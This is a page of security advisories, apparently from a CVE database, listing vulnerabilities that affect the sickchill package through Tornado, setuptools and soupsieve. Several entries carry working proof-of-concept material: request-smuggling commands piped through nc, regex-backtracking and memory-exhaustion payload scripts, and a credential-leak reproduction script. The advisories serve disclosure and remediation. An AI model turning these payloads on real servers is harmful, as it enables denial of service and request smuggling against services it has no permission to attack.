Threats affecting pkg:brew/sickchill
57 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.2 | EPSS 0.2% | High8.2EPSS 0.2%GCVE DatabaseCVE-2026-91992 # CurlAsyncHTTPClient leaks per-request credentials on handle reuse ## Summary `CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy basic-auth credentials (`PROXYUSERPWD`) — both leaking to a different, unintended host. This affects all released versions through 6.5.6. ## Details In `tornado/curl_httpclient.py`, handles are created once and returned to a free list for reuse (`_process_queue` pops the handle at line 200, `_finish` re-appends it at line 245), and `_curl_setup_request` is never preceded by `curl.reset()`. The function clears *some* carried-over state on the reused handle — `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)` when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again. **Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing branch: ```python # tornado/curl_httpclient.py (v6.5.6), lines 498-502 if request.client_cert is not None: curl.setopt(pycurl.SSLCERT, request.client_cert) if request.client_key is not None: curl.setopt(pycurl.SSLKEY, request.client_key) ``` A request that sets `client_cert` leaves the certificate on the handle; a later request without `client_cert` presents it during its TLS handshake. **Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only inside the credentials branch and unset only in the no-proxy `else` branch: ```python # tornado/curl_httpclient.py (v6.5.6), lines 371-394 if request.proxy_host and request.proxy_port: curl.setopt(pycurl.PROXY, request.proxy_host) curl.setopt(pycurl.PROXYPORT, request.proxy_port) if request.proxy_username: # only place PROXYUSERPWD is set ... curl.setopt(pycurl.PROXYUSERPWD, credentials) ... else: try: curl.unsetopt(pycurl.PROXY) except TypeError: curl.setopt(pycurl.PROXY, "") curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset ``` A request that sets a *new* `proxy_host` without `proxy_username` updates `PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's credentials persist and are sent to the new proxy. The same class also affects `INTERFACE` (lines 365-366: set only when `request.network_interface` is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation). ## PoC Both reproduce against the pinned release using public API only (`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments). ### Vector A — client TLS certificate The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse. ``` python3 -m venv venv ./venv/bin/pip install "tornado==6.5.6" pycurl cryptography ./venv/bin/python poc_client_cert.py ``` ```python import asyncio import datetime import ipaddress import os import socket import ssl import sys import tempfile import threading from cryptography import x509 from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from tornado.httpclient import HTTPRequest from tornado.curl_httpclient import CurlAsyncHTTPClient def _key(): return rsa.generate_private_key(public_exponent=65537, key_size=2048) def _ca(): key = _key() name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")]) now = datetime.datetime.now(datetime.timezone.utc) cert = ( x509.CertificateBuilder() .subject_name(name).issuer_name(name) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - datetime.timedelta(minutes=1)) .not_valid_after(now + datetime.timedelta(days=1)) .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) .sign(key, hashes.SHA256()) ) return cert, key def _leaf(cn, ca_cert, ca_key, ips=None, client=False): key = _key() name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)]) now = datetime.datetime.now(datetime.timezone.utc) b = ( x509.CertificateBuilder() .subject_name(name).issuer_name(ca_cert.subject) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now | GCVE Database | ||
| Critical | 9.0 | EPSS 0.4% | CVE-2024-14029Sickchill · Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado Critical9.0EPSS 0.4%GCVE DatabaseCVE-2024-14029 ### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization. | GCVE Database | ||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-59890sdist · setuptools: MANIFEST.in exclusion bypass Medium6.1EPSS 0.4%GCVE DatabaseCVE-2026-59890 ## Summary When building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index. ## Details File names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization: ```python # setuptools/command/egg_info.py (FileList.global_exclude) def global_exclude(self, pattern): match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD return self._remove_files(match.match) # byte-level regex over raw os.walk names ``` A rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file. A `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred. ## Impact `MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected. ## Proof of concept With a project containing `MANIFEST.in`: ``` global-include *.txt *.json global-exclude secret_café.txt # rule saved NFC ``` and an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1. ## Remediation Normalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS. ## Credit Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-49855Sickchill · tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb) High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49855 Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. `HTTPServer` is not affected in its default configuration, but it is if `decompress_request=True` is set. This bug is fixed in Tornado 6.5.6. `max_body_size` is now checked both for the compressed and cumulative decompressed size of the response. Prior to upgrading, this issue can be mitigated by setting `decompress_response=False` or using `CurlAsyncHTTPClient`. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | Medium5.3EPSS 0.4%GCVE DatabaseCVE-2026-49854 ### Summary Tornado's optional native extension `tornado.speedups` implements `websocket_mask` without validating that the `mask` argument is exactly four bytes long. The C function reads four bytes from `mask` unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory. The behavior is reachable from Tornado's XSRF token decoder when `xsrf_cookies=True` and the native extension is active. ### Mitigations This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance). | GCVE Database | ||
| High | 7.7 | EPSS 0.4% | CVE-2026-49853Tornado · Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient High7.7EPSS 0.4%GCVE DatabaseCVE-2026-49853 ## Summary When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin. As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default. Beginning in Tornado 6.5.6, `SimpleAsyncHTTPClient` matches the default behavior of `libcurl` (and therefore `CurlAsyncHTTPClient`): When a redirect changes the scheme, host, or port of the url, the `Authorization` and `Cookie` headers will be removed when following the redirect. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49477 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49476 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | GCVE Database | ||
| High | 7.2 | EPSS 0.2% | High7.2EPSS 0.2%GCVE DatabaseCVE-2026-35536 Values passed to the `domain`, `path`, and `samesite` arguments of `RequestHandler.set_cookie` were not completely validated in versions of Tornado prior to 6.5.5. In particular, semicolons would be allowed, which could be used to inject attacker-controlled values for other cookie attributes. | GCVE Database | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%GCVE DatabaseCVE-2026-31958 In versions of Tornado prior to 6.5.5, the only limit on the number of parts in `multipart/form-data` is the `max_body_size` setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts. Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see `tornado.httputil.ParseMultipartConfig`. It is also now possible to disable `multipart/form-data` parsing entirely if it is not required for the application. | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | CVE-2025-67726Tornado · Quadratic DoS via Crafted Multipart Parameters High7.5EPSS 0.5%GCVE DatabaseCVE-2025-67726 ## Summary The `_parseparam` function in Tornado's `httputil.py` is used to parse specific HTTP header values, such as those in `multipart/form-data`. This function uses an inefficient algorithm that repeatedly calls `string.count()` within a nested loop while processing quoted semicolons (e.g., `param=";"`). As a result, if an attacker sends a request with a large number of maliciously crafted parameters in a `Content-Disposition` header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period, leading to a Denial of Service (DoS). **Severity: High** | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2025-67725Tornado · Quadratic DoS via Repeated Header Coalescing High7.5EPSS 0.6%GCVE DatabaseCVE-2025-67725 ## Summary The `HTTPHeaders.add` method in Tornado accumulates values using string concatenation when the same header name is repeated. Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity. Given Tornado's single event loop architecture, a single maliciously crafted HTTP request can block the server's event loop for an extended period, causing a Denial of Service (DoS). **Severity:** **High** if `max_header_size` has been increased from its default, **low** if it has its default value of 64KB. | GCVE Database | ||
| Medium | 5.4 | EPSS 0.2% | Medium5.4EPSS 0.2%GCVE DatabaseCVE-2025-67724 # Header injection and XSS via `reason` argument ## Summary The `reason` argument (used by both `RequestHandler.set_status` and `tornado.web.HTTPError` is designed to allow applications to pass custom "reason" phrases (the "Not Found" in `HTTP/1.1 404 Not Found`) to the HTTP status line (mainly for non-standard status codes). Vulnerabilities exist in Tornado versions prior to 6.5.3 if untrusted data is passed as the `reason` argument. ## Details In vulnerable versions, the supplied `reason` phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS). ## Impact * **Type:** Reflected Cross-Site Scripting (CWE-79) in default error page, or header injection (CWE-644) * **Actors:** Remote attacker who can cause the application to raise `HTTPError`/`set_status` with an attacker-controlled `reason` (e.g., via query parameter used by developer). * **Effect:** Execution of arbitrary JavaScript in victims' browsers when they view the error page — possible session token theft, CSRF escalation, UI spoofing, or other client-side attacks depending on context. * **Scope:** Only applications that explicitly reflect untrusted input into `reason` are affected. ## Mitigation Aside from upgrading to Tornado 6.5.3 or newer, the vulnerability can be mitigated by not using untrusted data for the `reason` argument. In the intended use case the `reason` argument would generally be a string literal and not derived from user input. Also, the `reason` argument is rarely required (reason phrases are not used at all in HTTP/2) and can generally be omitted. For a general-purpose error message in HTTPError, consider using the `log_message` argument instead of `reason`. | GCVE Database | ||
| High | 7.5 | EPSS 0.7% | CVE-2025-47287Sickchill · Tornado vulnerable to excessive logging caused by malformed multipart form data High7.5EPSS 0.7%GCVE DatabaseCVE-2025-47287 ### Summary When Tornado's ``multipart/form-data`` parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous. ### Affected versions All versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default. ### Solution Upgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking `Content-Type: multipart/form-data` in a proxy. | GCVE Database | ||
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Sickchill: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 ### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946 | GCVE Database | ||
| High | 8.8 | EPSS 1.9% | High8.8EPSS 1.9%GCVE DatabaseCVE-2024-6345 A vulnerability in the `package_index` module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0. | GCVE Database | ||
| High | 7.5 | EPSS 1.0% | High7.5EPSS 1.0%GCVE DatabaseCVE-2024-52804 The algorithm used for parsing HTTP cookies in Tornado versions prior to 6.4.2 sometimes has quadratic complexity, leading to excessive CPU consumption when parsing maliciously-crafted cookie headers. This parsing occurs in the event loop thread and may block the processing of other requests. See also CVE-2024-7592 for a similar vulnerability in cpython. | GCVE Database |
Page 3 of 3